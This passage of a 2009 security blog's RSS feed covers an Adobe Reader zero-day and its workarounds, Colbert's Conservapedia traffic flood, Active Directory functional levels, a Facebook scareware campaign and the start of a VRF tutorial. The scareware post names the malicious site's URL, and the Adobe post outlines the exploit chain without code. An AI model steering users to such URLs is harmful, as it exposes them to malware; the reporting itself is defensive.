		<category><![CDATA[reader]]></category>
		<category><![CDATA[updates]]></category>
		<category><![CDATA[Vulnerability]]></category>
		<category><![CDATA[zero-day]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=882</guid>
		<description><![CDATA[A new zero-day vulnerability in Adobe Reader and Acrobat 9.1.3 has been identified by Chia-Ching Fang and the Taiwanese Information and Communication Security Technology Service Center that allows an attacker to remotely execute arbitrary code. The attack is seeded by providing via e-mail or download a specially crafted PDF file which in current examples will then drop a malware executable as well as an unaffected pdf file.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2009/10/adobelq1.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="adobe-lq" border="0" alt="adobe-lq" src="http://praetorianprefect.com/wp-content/uploads/2009/10/adobelq_thumb1.png" width="47" height="76" /></a></p>

<p>A new zero-day vulnerability in Adobe Reader and Acrobat 9.1.3 has been identified by Chia-Ching Fang and the Taiwanese Information and Communication Security Technology Service Center that allows an attacker to remotely execute arbitrary code. The attack is seeded by providing via e-mail or download a specially crafted PDF file which in current examples will then drop a malware executable as well as an unaffected pdf file. McAfee is identifying this under Exploit-PDF.m, and has a signature for a specific Trojan already identified. This is the fourth PDF related zero-day attack of 2009, and a further incentive for enterprises to bring patching of applications in line with processes for operating system patching.</p>

<p>The crafted PDF file contains a Javascript which is used to execute arbitrary code via a technique known as heap spraying. The initial shell code jumps program execution to a second shell code, which in turn executes a malicious file that creates a backdoor (remote access to the infected computer). <a href="http://blog.trendmicro.com/new-adobe-zero-day-exploit/">Trend Micro</a> is identifying this malware as a Protux variant. Protux backdoors provide user level access to the machine and have been associated as the payloads of Microsoft Office (Word, PowerPoint, Excel, Access) as well as previous Adobe Reader exploits. The Protux family of Trojans has been around since at least 2007.</p>

<p>The identification of this exploit has prompted Adobe to announce release of a critical patch for release on Tuesday, October 13th. The company posted a <a href="http://www.adobe.com/support/security/bulletins/apsb09-15.html">security advisory</a> yesterday, announcing plans to release the update to “resolve critical security issues&#8221;. The vulnerability is being exploited, although it is unclear how widespread the attacks are. Adobe asserts that the vulnerability is being exploited in “limited, targeted attacks” limited to Windows operating systems although the vulnerability itself also exists for other operating systems.</p>

<blockquote>
  <p>“There are reports that this issue is being exploited in the wild in limited targeted attacks”     <br /> – David Lenoe of Adobe</p>
</blockquote>

<p>Vupen Security posted an <a href="http://www.vupen.com/english/advisories/2009/2851&quot;">advisory</a> on the vulnerability (CVE-2009-3459) which states that the issue is an unspecified memory corruption error, which could be exploited allowing attackers to comprise a system remotely.</p>

<h3>Workarounds</h3>

<h4>Disabling Javascript on Adobe Acrobat</h4>

<p>Adobe notes that disabling Javascript mitigates against the specific exploit identified, although it would be possible to create a variant that does not rely on Javascript.  To disable Javascript in Adobe Reader or Acrobat, select Edit > Preferences, select the JavaScript option on the left, and uncheck the <i>Enable Acrobat JavaScript</i> option as shown.</p>

<p><div id="attachment_916" class="wp-caption alignnone" style="width: 650px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/10/AcrobatPreferences.png"><img src="http://praetorianprefect.com/wp-content/uploads/2009/10/AcrobatPreferences.png" alt="Uncheck to disable Acrobat JavaScript" title="AcrobatPreferences" width="640" height="424" class="size-full wp-image-916" /></a><p class="wp-caption-text">Uncheck to disable Acrobat JavaScript</p></div>
<br /></p>

<h4>Data Execution Prevention</h4>

<p>Also, users with DEP enabled on Windows Vista or Windows 7 are protected from this exploit. Data Execution Prevention (DEP) performs additional checks on memory to help prevent malicious code from running, designed to prevent buffer overflow attacks. To enable DEP on Windows for all or individual programs, proceed to Control Panel -> System and Maintenance -> System, click on Advanced System Settings, under Performance click Settings, and finally under the Data Execution Prevention tab click <i>Turn on DEP for all programs and services except those I select</i>. If you can not find Acrobat in the list of programs, click Add and browse to the Acrobat executable (.exe) file and click Open.  For more information on DEP settings, visit the <a href="http://windows.microsoft.com/en-us/windows-vista/Change-Data-Execution-Prevention-settings">Microsoft help page</a>.</p>

<h3>In Conclusion</h3>

<p>In June Adobe moved to the same Tuesday patch management schedule that Microsoft and Oracle previously adopted. This latest zero-day exploit represents another opportunity to address an ongoing issue for organizations: that patch management must extend beyond just the operating system level. While enterprises focus on ensuring the latest Microsoft updates to the desktop and server environment, applications, such as Adobe Reader, fail to be a part of the the same rigorous patch management exercise.</p>

<p>Qualys demonstrated this problem when the first Adobe exploit was released this year in February, APSA09-01.  While a fix was released on March 10th (demonstrated by the red line in their graph), by April 27th there was still no clear reduction in the number of vulnerable machines. A 30 day patch management cycle, including testing of the patch before full enterprise release, would have shown a steep drop off on or about April 10th:</p>

<p><div id="attachment_914" class="wp-caption alignnone" style="width: 609px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/10/adobe_april_09.png"><img src="http://praetorianprefect.com/wp-content/uploads/2009/10/adobe_april_09.png" alt="Source: http://laws.qualys.com/lawsblog/2009/04/new-adobe-0-day-vulnerability.html" title="adobe_april_09" width="599" height="341" class="size-full wp-image-914" /></a><p class="wp-caption-text">Source: http://laws.qualys.com/lawsblog/2009/04/new-adobe-0-day-vulnerability.html</p></div>
<br />
In March Adobe patched a two month old zero day exploit, followed by another patch in May to block a second zero day attack. In July a fix was released for a Flash PDF related flaw.  As evidenced by the four exploits thus far this year, Adobe applications are becoming an increasingly attractive target for bad actors.
<br /><br /></p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/iphone-4-ordering-and-session-switching/">iPhone 4 Ordering and Session Switching</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/05/mays-patch-tuesday/">May&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/3473/">March&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/the-aurora-ie-exploit-in-action/">The &#8220;Aurora&#8221; IE Exploit Used Against Google in Action</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2009/10/adobe-to-release-critical-update-on-patch-tuesday/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Colbert&#8217;s Human DDOS</title>
		<link>http://praetorianprefect.com/archives/2009/10/colberts-human-ddos/</link>
		<comments>http://praetorianprefect.com/archives/2009/10/colberts-human-ddos/#comments</comments>
		<pubDate>Thu, 08 Oct 2009 06:37:29 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[ddos]]></category>
		<category><![CDATA[wiki]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=857</guid>
		<description><![CDATA[Stephen Colbert launched an impromptu human distributed denial of service (DDOS) by instructing his viewers, or the Colbert Nation, to make edits to the collaborative wiki encyclopedia Conservapedia. Specifically he wants to be added as a character in the Conservapedia translated version of the bible, an ongoing crowd sourcing project of the web site.


  [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2009/10/stephencolbert.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2009/10/stephencolbert-150x150.jpg" alt="stephencolbert" title="stephencolbert" width="150" height="150" class="alignleft size-thumbnail wp-image-863" /></a>Stephen Colbert launched an impromptu human distributed denial of service (DDOS) by instructing his viewers, or the Colbert Nation, to make edits to the collaborative wiki encyclopedia <a href="http://www.conservapedia.com">Conservapedia</a>. Specifically he wants to be added as a character in the Conservapedia translated version of the bible, an ongoing crowd sourcing project of the web site.</p>

<blockquote>
  <p>“…I want you to go to Conservapedia and make me a Biblical figure…”</p>
  
  <p>Stephen Colbert</p>
</blockquote>

<p>According to Conservapedia, liberal bias has become a distortion in modern Bible translations including lack of precision in language both original and modern as well as translation bias. Thus the project seeks to provide a fully &#8220;conservative translation&#8221; of the Bible. The project seeks to identify liberal terms in the bible and replace them, identify where liberal terms for vices have been improperly omitted, identify conservative terms improperly omitted, and replace words that have lost their meaning.</p>

<p>You can read all about it here: <a href="http://conservapedia.com/Conservative_Bible_Project">Conservative Bible Project</a></p>

<div id="attachment_867" class="wp-caption alignleft" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/10/conservapedia1.gif"><img src="http://praetorianprefect.com/wp-content/uploads/2009/10/conservapedia1-300x158.gif" alt="Conservapedia Bible Project" title="conservapedia" width="300" height="158" class="size-medium wp-image-867" /></a><p class="wp-caption-text">Conservapedia Bible Project</p></div>

<p>Conservapedia itself is a project written from an American centric and conservative Christian point of view, specifically young earth creationist (literal interpretation of Biblical texts). It was started by Andy Schlafy, a lawyer and social studies teacher who is the son of a conservative activist and constitutional attorney, Phyllis Schlafly. The project was initiated as a response to his perception that Wikipedia had become liberal, anti-Christian, and anti-American.</p>

<p>Apparently the &#8220;Colbert Bump&#8221; takes the form of a denial of service for web sites, as the site has been consistently inaccessible from when Colbert made his request and for hours following.</p>

<h3>Update</h3>

<p>Colbert has been integrated into the Book of Genesis:</p>

<p><div id="attachment_1338" class="wp-caption alignnone" style="width: 310px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/10/colbertasgod1.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2009/10/colbertasgod1-300x225.jpg" alt="In the beginning, Stephen Colbert created..." title="colbertasgod" width="300" height="225" class="size-medium wp-image-1338" /></a><p class="wp-caption-text">In the beginning, Stephen Colbert created...</p></div>
<br /><br /></p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/iphone-4-ordering-and-session-switching/">iPhone 4 Ordering and Session Switching</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/05/mays-patch-tuesday/">May&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/3473/">March&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/first-patch-tuesday-of-2010/">First Patch Tuesday of 2010</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2009/10/colberts-human-ddos/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Server 2008 R2: Active Directory Functional Levels</title>
		<link>http://praetorianprefect.com/archives/2009/10/server-2008-r2-active-directory-functional-levels/</link>
		<comments>http://praetorianprefect.com/archives/2009/10/server-2008-r2-active-directory-functional-levels/#comments</comments>
		<pubDate>Tue, 06 Oct 2009 09:12:14 +0000</pubDate>
		<dc:creator>Simon Price</dc:creator>
				<category><![CDATA[Administration]]></category>
		<category><![CDATA[Networking]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[active directory]]></category>
		<category><![CDATA[federation services]]></category>
		<category><![CDATA[kerberos]]></category>
		<category><![CDATA[ldap]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[powershell]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[windows 2008]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=758</guid>
		<description><![CDATA[Windows Server 2008 R2 was released in August, and it introduced new functional levels for Active Directory. This article takes a look back at the different functional levels of the past and what is new in the latest release of the server operating system for Active Directory (yes, a recycle bin for AD objects!).

Functional levels [...]]]></description>
			<content:encoded><![CDATA[<p>Windows Server 2008 R2 was released in August, and it introduced new functional levels for Active Directory. This article takes a look back at the different functional levels of the past and what is new in the latest release of the server operating system for Active Directory (yes, a recycle bin for AD objects!).</p>

<p>Functional levels were first introduced when Active Directory made its appearance in Windows 2000 Server. They allowed you to run different versions of domain controllers in your environment, and when all the domain controllers were brought up to a certain version of Windows, you could raise the functional levels to gain the added features of that operating system version. Now that Windows 2008 R2 is released, it is unlikely that you will mass deploy this new operating system to your entire forest or domain. Instead, you&#8217;ll deploy a single domain controller and kick the tires, so to speak. The time will eventually come when you&#8217;ve upgraded every domain controller to R2, and at that point you can raise the functional level to 2008 R2 to take advantage of the new features.</p>

<p>Functional levels can be raised in domains or, as of Windows 2003 Server, in the forest, providing different features in each. They are differentiated by labeling them Domain Functional Level and Forest Functional Level.</p>

<h3>What&#8217;s new in 2008 R2</h3>

<h4><u>Domain Functional Level</u></h4>

<p>There are two features added when raising the domain functional level to 2008 R2. They are Authentication Mechanism Assurance and Automatic SPN Management.</p>

<p><strong>Authentication mechanism assurance</strong> is meant for domains that utilize federation services (ADFS) or certificate-based authentication methods, such as smart card or token-based authentication. This mechanism adds information to the user&#8217;s kerberos token on the type of authentication used. This allows administrators to modify group membership based on how the user authenticates. For example, a user can have access to different resources if they log in with a certificate versus when they log in with just their username and password.</p>

<p><strong>Automatic SPN management</strong> provides a method for managing service accounts for applications such as Exchange, SQL and IIS. In the past, regular domain accounts were used for these purposes, adding management headaches in terms of password management and service principle names (SPNs). This new feature provides the following benefits:</p>

<ul>
<li>A class of domain accounts can be used to manage and maintain services on local computers.</li>
<li>Passwords for these accounts will be reset automatically.</li>
<li>Do not have to complete complex SPN management tasks to use managed service accounts.</li>
<li>Administrative tasks for managed service accounts can be delegated to non-administrators.</li>
</ul>

<h4><u>Forest Functional Level</u></h4>

<p>There is one new feature in raising the forest functional level to Server 2008 R2, and it is long overdue. It is the Active Directory recycle bin. In the days of old, when an IT administrator or help desk operator accidentally deleted an OU filled with user or computer objects (this has happened more times than you would think), there would be a scramble to perform a restore. The delete replicates to all domain controllers, so an authoritative restore in Active Directory restore mode from a good backup using NTDSutil would be in order. With 2008 R2 forest functional level, a powershell cmd-let will undo this instantly.</p>

<p>Note that this feature is not enabled automatically when raising forest functional level. Additionally, you must run the following command in the Active Directory Module for Powershell.</p>

<pre><code>Enable-ADOptionalFeature –Identity ‘CN=Recycle Bin Feature,CN=Optional Features,CN=Directory
Service,CN=Windows NT,CN=Services,CN=Configuration, DC=mydomain,DC=com’
–Scope ForestOrConfigurationSet –Target ‘mydomain.com’
</code></pre>

<h4>Functional levels of previous version</h4>

<p>The following are the previous functional levels and what features they added, as documented in <a href="http://technet.microsoft.com/en-us/library/cc771132(WS.10).aspx">Technet</a>.</p>

<hr />

<h3>Domain Functional Levels:</h3>

<h4>Windows 2000 Native:</h4>

<ul>
<li>Universal groups are enabled for both distribution groups and security groups.</li>
<li>Group nesting.</li>
<li>Group conversion is enabled, which makes conversion between security groups and distribution groups possible.</li>
<li>Security identifier (SID) history.</li>
</ul>

<h4>Windows Server 2003</h4>

<ul>
<li>The availability of the domain management tool, <code>Netdom.exe</code>, to prepare for domain controller rename.</li>
<li>Update of the logon time stamp. The <code>lastLogonTimestamp</code> attribute will be updated with the last logon time of the user or computer. This attribute is replicated within the domain.</li>
<li>The ability to set the <code>userPassword</code> attribute as the effective password on <code>inetOrgPerson</code> and user objects.</li>
<li>The ability to redirect Users and Computers containers. By default, two well-known containers are provided for housing computer and user/group accounts: namely, <code>cn=Computers</code>, and <code>cn=Users,</code>. This feature makes possible the definition of a new well-known location for these accounts.</li>
<li>Makes it possible for Authorization Manager to store its authorization policies in Active Directory Domain Services (AD DS).</li>
<li>Includes constrained delegation so that applications can take advantage of the secure delegation of user credentials by means of the Kerberos authentication protocol. Delegation can be configured to be allowed only to specific destination services.</li>
<li>Supports selective authentication, through which it is possible to specify the users and groups from a trusted forest who are allowed to authenticate to resource servers in a trusting forest.</li>
</ul>

<h4>Windows Server 2008</h4>

<ul>
<li>Distributed File System (DFS) Replication support for SYSVOL, which provides more robust and detailed replication of SYSVOL contents.</li>
<li>Advanced Encryption Services (AES 128 and 256) support for the Kerberos authentication protocol.</li>
<li>Last Interactive Logon Information, which displays the time of the last successful interactive logon for a user, from what workstation, and the number of failed logon attempts since the last logon.</li>
<li>Fine-grained password policies (FGPP), which make it possible for password and account lockout policies to be specified for users and global security groups in a domain.</li>
</ul>

<h3>Forest Functional Levels:</h3>

<h4>Windows 2000:</h4>

<p>There were no forest functional levels, just domain.</p>

<h4>Windows Server 2003:</h4>

<ul>
<li>Forest trust.</li>
<li>Domain rename.</li>
<li>Linked-value replication (changes in group membership store and replicate values for individual members instead of replicating the entire membership as a single unit). This change results in lower network bandwidth and processor usage during replication and eliminates the possibility of lost updates when different members are added or removed concurrently at different domain controllers.</li>
<li>The ability to deploy a read-only domain controller (RODC) that runs Windows Server 2008.</li>
<li>Improved Knowledge Consistency Checker (KCC) algorithms and scalability. The Intersite Topology Generator (ISTG) uses improved algorithms that scale to support forests with a greater number of sites than can be supported at the Windows 2000 forest functional level. The improved ISTG election algorithm is a less intrusive mechanism for choosing the ISTG at the Windows 2000 forest functional level.</li>
<li>An improved ISTG algorithm (better scaling of the algorithm that the ISTG uses to connect all sites in the forest).</li>
<li>The ability to create instances of the dynamic auxiliary class called dynamicObject in a domain directory partition.</li>
<li>The ability to convert an <code>inetOrgPerson</code> object instance into a User object instance, and the reverse.</li>
<li>The ability to create instances of the new group types, called application basic groups and Lightweight Directory Access Protocol (LDAP) query groups, to support role-based authorization.</li>
<li>Deactivation and redefinition of attributes and classes in the schema.</li>
</ul>

<h4>Windows Server 2008:</h4>

<p>No forest functional level changes occurred from Windows 2003 to Windows 2008.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/iphone-4-ordering-and-session-switching/">iPhone 4 Ordering and Session Switching</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/05/mays-patch-tuesday/">May&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/3473/">March&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/disable-acrobat-reader-pdf-in-the-enterprise/">Using Group Policy to Disable JavaScript in Adobe PDF Files</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2009/10/server-2008-r2-active-directory-functional-levels/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Facebook’s Faith: A New Scareware Attack</title>
		<link>http://praetorianprefect.com/archives/2009/10/facebook%e2%80%99s-faith-a-new-scareware-attack/</link>
		<comments>http://praetorianprefect.com/archives/2009/10/facebook%e2%80%99s-faith-a-new-scareware-attack/#comments</comments>
		<pubDate>Thu, 01 Oct 2009 21:22:43 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Social Networking]]></category>
		<category><![CDATA[capthca]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[non-technical]]></category>
		<category><![CDATA[scareware]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=684</guid>
		<description><![CDATA[On Thursday morning, AVG researcher Roger Thompson, after sourcing some spyware attacks to a series of Facebook profiles, noted that these few hundred profiles were showing up with the same profile image (seen at left) but different profile information.  The home video link on these profiles, belonging to Faith / Emily / whoever, points to the a web site that displays scareware dialogs.]]></description>
			<content:encoded><![CDATA[<div id="attachment_685" class="wp-caption alignleft" style="width: 196px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/10/faith.jpg"><img class="size-full wp-image-685" title="faith" src="http://praetorianprefect.com/wp-content/uploads/2009/10/faith.jpg" alt="Meet Faith...or Emily...or...the face of the new Facebook attack" width="186" height="247" /></a><p class="wp-caption-text">Meet Faith...or Emily...or...the face of the new Facebook attack</p></div>

<p>On Thursday morning, AVG researcher Roger Thompson, after sourcing some spyware attacks to a series of Facebook profiles, noted that these few hundred profiles were showing up with the same profile image (seen at left) but different profile information.  The home video link on these profiles, belonging to Faith / Emily / whoever, points to the a web site that displays scareware dialogs: <em>netmedtest.com/index.php?affid=30500</em>.</p>

<p>Clicking the video url opens up a browser dialog box suggesting the user has viruses on their PC, suggests a system’s check and opens up a scareware dialog. Scareware is software sold or downloaded via creating a perception on the part of the user of a usually non-existent threat to the user that is typically non-functional or malicious.</p>

<p>The URL itself is registered to accounts with temporary or throw away e-mail addresses, amusingly these services like spambob and mailinator that were intended to help uses avoid spam are used by bad actors as the registration and contact e-mails for registering malicious web site URL&#8217;s. The site <em>netmedtest</em> is hosted in Haifa, Israel.</p>

<h3>The Profile</h3>

<div id="attachment_690" class="wp-caption alignnone" style="width: 723px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/10/facebookattack_screen1.jpg"><img class="size-full wp-image-690" title="facebookattack_screen1" src="http://praetorianprefect.com/wp-content/uploads/2009/10/facebookattack_screen1.jpg" alt="The fake profile with video link." width="713" height="370" /></a><p class="wp-caption-text">The fake profile with video link.</p></div>

<div id="attachment_698" class="wp-caption alignnone" style="width: 279px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/10/facebookattack_screen2.jpg"><img class="size-full wp-image-698" title="facebookattack_screen2" src="http://praetorianprefect.com/wp-content/uploads/2009/10/facebookattack_screen2.jpg" alt="If you click the video link, you get this dialog." width="269" height="100" /></a><p class="wp-caption-text">If you click the video link, you get this dialog.</p></div>

<div id="attachment_699" class="wp-caption alignnone" style="width: 549px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/10/facebookattack_screen3.jpg"><img class="size-full wp-image-699" title="facebookattack_screen3" src="http://praetorianprefect.com/wp-content/uploads/2009/10/facebookattack_screen3.jpg" alt="And after that, you get this dialog." width="539" height="289" /></a><p class="wp-caption-text">And after that, you get this dialog.</p></div>

<h3>Facebook&#8217;s Response</h3>

<p>Facebook spokesman Simon Axten notes that Facebook is in the process of identifying the fake accounts so they can be disabled en masse. The actual URL used to serve the spyware has been blocked by Facebook as well as the major web browsers already.</p>

<h3>A Failure of CAPTCHA</h3>

<p>The fact that there are a couple of hundred of these profile pages could suggest an automated setup of the accounts, which would mean a bypass of the CAPTCHA authentication used in account setup on Facebook. Facebook uses <a href="http://recaptcha.net/learnmore.html">reCAPTCHA</a> specifically (a free service that is digitizing the NY Times at the same time they are validating that the user is actually human).</p>

<div id="attachment_701" class="wp-caption alignleft" style="width: 463px"><a href="http://praetorianprefect.com/wp-content/uploads/2009/10/facebook_captcha_example.jpg"><img class="size-full wp-image-701" title="facebook_captcha_example" src="http://praetorianprefect.com/wp-content/uploads/2009/10/facebook_captcha_example.jpg" alt="Facebook CAPTCHA screen example." width="453" height="249" /></a><p class="wp-caption-text">Facebook CAPTCHA screen example.</p></div>

<p>CAPTCHA mechanisms have increasingly been compromised by both automated programmatic means such as the <a href="http://securitylabs.websense.com/content/Blogs/2919.aspx">method used to break Google’s CAPTCHA</a>, as well as through manual means where human interaction is used to solve CAPTCHA images (cheap sources of labor spend the day typing in CAPTCHA responses). Given that the fake profiles number in the hundreds, either method is realistically plausible. Facebook&#8217;s spokesperson indicates that they believe it is the second case: &#8220;Based on our investigation and the relatively small number of accounts created, we’re almost certain that they were created manually, rather than by a bot.&#8221;</p>

<p>At the time of writing this example bogus profile of Faith Price is still available on Facebook: <a href="http://www.facebook.com/people/Faith-Price/100000305282922">http://www.facebook.com/people/Faith-Price/100000305282922</a>.</p>

<h3>Countermeasures</h3>

<p>As previously stated, the major browsers have picked up the malicious link and are blocking it, and Facebook is aware of the problem, so for most users this is not a major issue at this point. As always, note that legitimate anti-virus companies will not advertise to you using scareware tactics and avoid clicking on links provided by persons you do not know.  In general avoid drive by downloads by not surfing the web with a user account that has administrative privileges.</p>

<h3>References</h3>

<ul>
<li><a href="http://thompson.blog.avg.com/">AVG Blogs &#8211; Roger Thompson</a></li>
<li><a href="http://recaptcha.net/learnmore.html">What is ReCAPTCHA?</a></li>
<li><a href="http://www.computerworld.com/s/article/9138780/Facebook_Captchas_broken_">Facebook Captchas broken?</a></li>
</ul>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/persistent-xss-on-twitter-com/">Persistent XSS on Twitter.com</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/06/iphone-4-ordering-and-session-switching/">iPhone 4 Ordering and Session Switching</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/05/mays-patch-tuesday/">May&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/3473/">March&#8217;s Patch Tuesday</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2009/10/facebook%e2%80%99s-faith-a-new-scareware-attack/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>VRF is the new Black: How I Learned to Stop Worrying and Love the Complexity</title>
		<link>http://praetorianprefect.com/archives/2009/09/vrf-is-the-new-black-how-i-learned-to-stop-worrying-and-love-the-complexity/</link>
		<comments>http://praetorianprefect.com/archives/2009/09/vrf-is-the-new-black-how-i-learned-to-stop-worrying-and-love-the-complexity/#comments</comments>
		<pubDate>Tue, 29 Sep 2009 22:12:53 +0000</pubDate>
		<dc:creator>Jeremy Rossi</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Networking]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Cisco]]></category>
		<category><![CDATA[ios]]></category>
		<category><![CDATA[Juniper]]></category>
		<category><![CDATA[screenos]]></category>
		<category><![CDATA[vpn]]></category>
		<category><![CDATA[vrf]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=612</guid>
		<description><![CDATA[Breaking up your network &#8220;is good,&#8221; we all know this, and VLANs have traditionally been used to segment a network to help with maintenance, management, and security; but, they are not the only game in town and often the wrong place to break your network into smaller and more efficient pieces.  VPN Routing and [...]]]></description>
			<content:encoded><![CDATA[<p>Breaking up your network <em>&#8220;is good,&#8221;</em> we all know this, and VLANs have traditionally been used to segment a network to help with maintenance, management, and security; but, they are not the only game in town and often the wrong place to break your network into smaller and more efficient pieces.  VPN Routing and Forwarding (VRF) can do the same for layer 3 infrastructure that VLANs do for layer 2.  By allowing you to create and manage separate routing tables within a single physical router, they truly bring virtualization and segmentation to all points on your network.  As with any technology that adds layers, complexity can become a problem, but you already know this.</p>

<h2>Table of Contents</h2>

<ul>
<li><a href="#vrf-intro">Virtual Routing and Forwarding (VRF)</a></li>
<li><a href="#vrf-setup">VRF Lite Setup</a>

<ul>
<li><a href="#setup-ios">Cisco IOS</a></li>
<li><a href="#setup-screenos">Juniper ScreenOS</a></li>
<li><a href="#setup-junos">Juniper JunOS</a></li>
</ul></li>
</ul>

<h2 id="vrf-intro">Virtual Routing and Forwarding (VRF)</h2>

<blockquote>
  <p>&#8220;It&#8217;s incredibly obvious, isn&#8217;t it? A foreign substance is introduced into our precious bodily fluids without the knowledge of the individual, and certainly without any choice.&#8221;</p>
  
  <p><code>Gen Jack D. Ripper</code></p>
</blockquote>

<p>Virtual routing and forwarding (VRF) is a technology included in network routers that allows multiple instances of a routing table to exist in a single router all while working simultaneously.</p>

<p>Their are two types of VRFs: <em>&#8220;VRF&#8221;</em> and <em>&#8220;VRF Lite.&#8221;</em></p>

<p>VRF Lite is just a subset of VRF without all the protocols used for creation of VPNs between routers, namely MPLS.  VRFs are very common in service providers networks and at some point nearly all internet traffic passes through a VRF or two.</p>

<p>VRF Lite allows for interfaces on a physical router to belong to a routing instance.  This routing instance has its own forwarding table, ARP entries, and everything else needed to make a forwarding decision.  It can simply be thought of as a router within a router (<em><a title="Routers in router" rel="lightbox" href="http://praetorianprefect.com/wp-content/uploads/2009/05/router-in-router.png"> Figure 1</a></em>).</p>

<div class="wp-caption" style="float: right;margin: 5px;margin-left: 60px;margin-right: 21px;"><a title="Routers in router" rel="lightbox" href="http://praetorianprefect.com/wp-content/uploads/2009/05/router-in-router.png"> <img src="http://praetorianprefect.com/wp-content/uploads/2009/05/router-in-router.png" border="0" alt="router in router.png" width="200" height="135" />
<p class="wp-caption-text">Figure 1: Routers within Router</p>

</a></div>

<p>This structure makes VRFs useful for many applications and as a solution to quite a few tough network design issues. It can be used to improve the network in the following ways:</p>

<ul>
<li><a href="#vrf-intro-seg">Segmentation</a></li>
<li><a href="#vrf-intro-mgmt">Management and Control</a></li>
<li><a href="#vrf-intro-sec">Security</a></li>
</ul>

<h5 id="vrf-intro-seg">Segmentation</h5>

<p>Layer 2 segmentation based on VLANs and firewalls is showing strains and being pushed beyond reasonableness when it comes to how a network architecture should be built.  A good example of this is 10 Gig and 1 Gig Ethernet MANs<sup id="fnref:1"><a href="#fn:1" rel="footnote">1</a></sup> that span multiple buildings and datacenters into a single campus.  An overview of a large campus network can been seen in <a title="Large MAN Overview" rel="lightbox" href="http://praetorianprefect.com/wp-content/uploads/2009/04/man-example.png">Figure 2</a>.</p>

<p>In our example network, creating wired guest access would require the use of firewalls in each building or extending VLANs between buildings to the centralized firewalls in the datecenter.   Both options have downsides that VRFs would be better at solving.</p>

<div class="wp-caption" style="float: right;margin: 5px;margin-left: 60px;margin-right: 21px;"><a title="Figure 1: Large MAN Overview" rel="lightbox" href="http://praetorianprefect.com/wp-content/uploads/2009/04/man-example.png"><img src="http://praetorianprefect.com/wp-content/uploads/2009/04/man-example.png" border="1" alt="MAN Network Diagram" width="200" height="204" /> </a>
<p class="wp-caption-text"><a title="Figure 1: Large MAN Overview" rel="lightbox" href="http://praetorianprefect.com/wp-content/uploads/2009/04/man-example.png">Figure 2: Large MAN Overview</a></p>

</div>

<p>In the case of extending VLANs between buildings this would have the campus network design rely on Spanning Tree and layer 2 protocols to provide a loop-free environment.  In the case of a large network such as our example, this could lead to long failover times during hardware failure, while also not making full use of all available network bandwidth.</p>

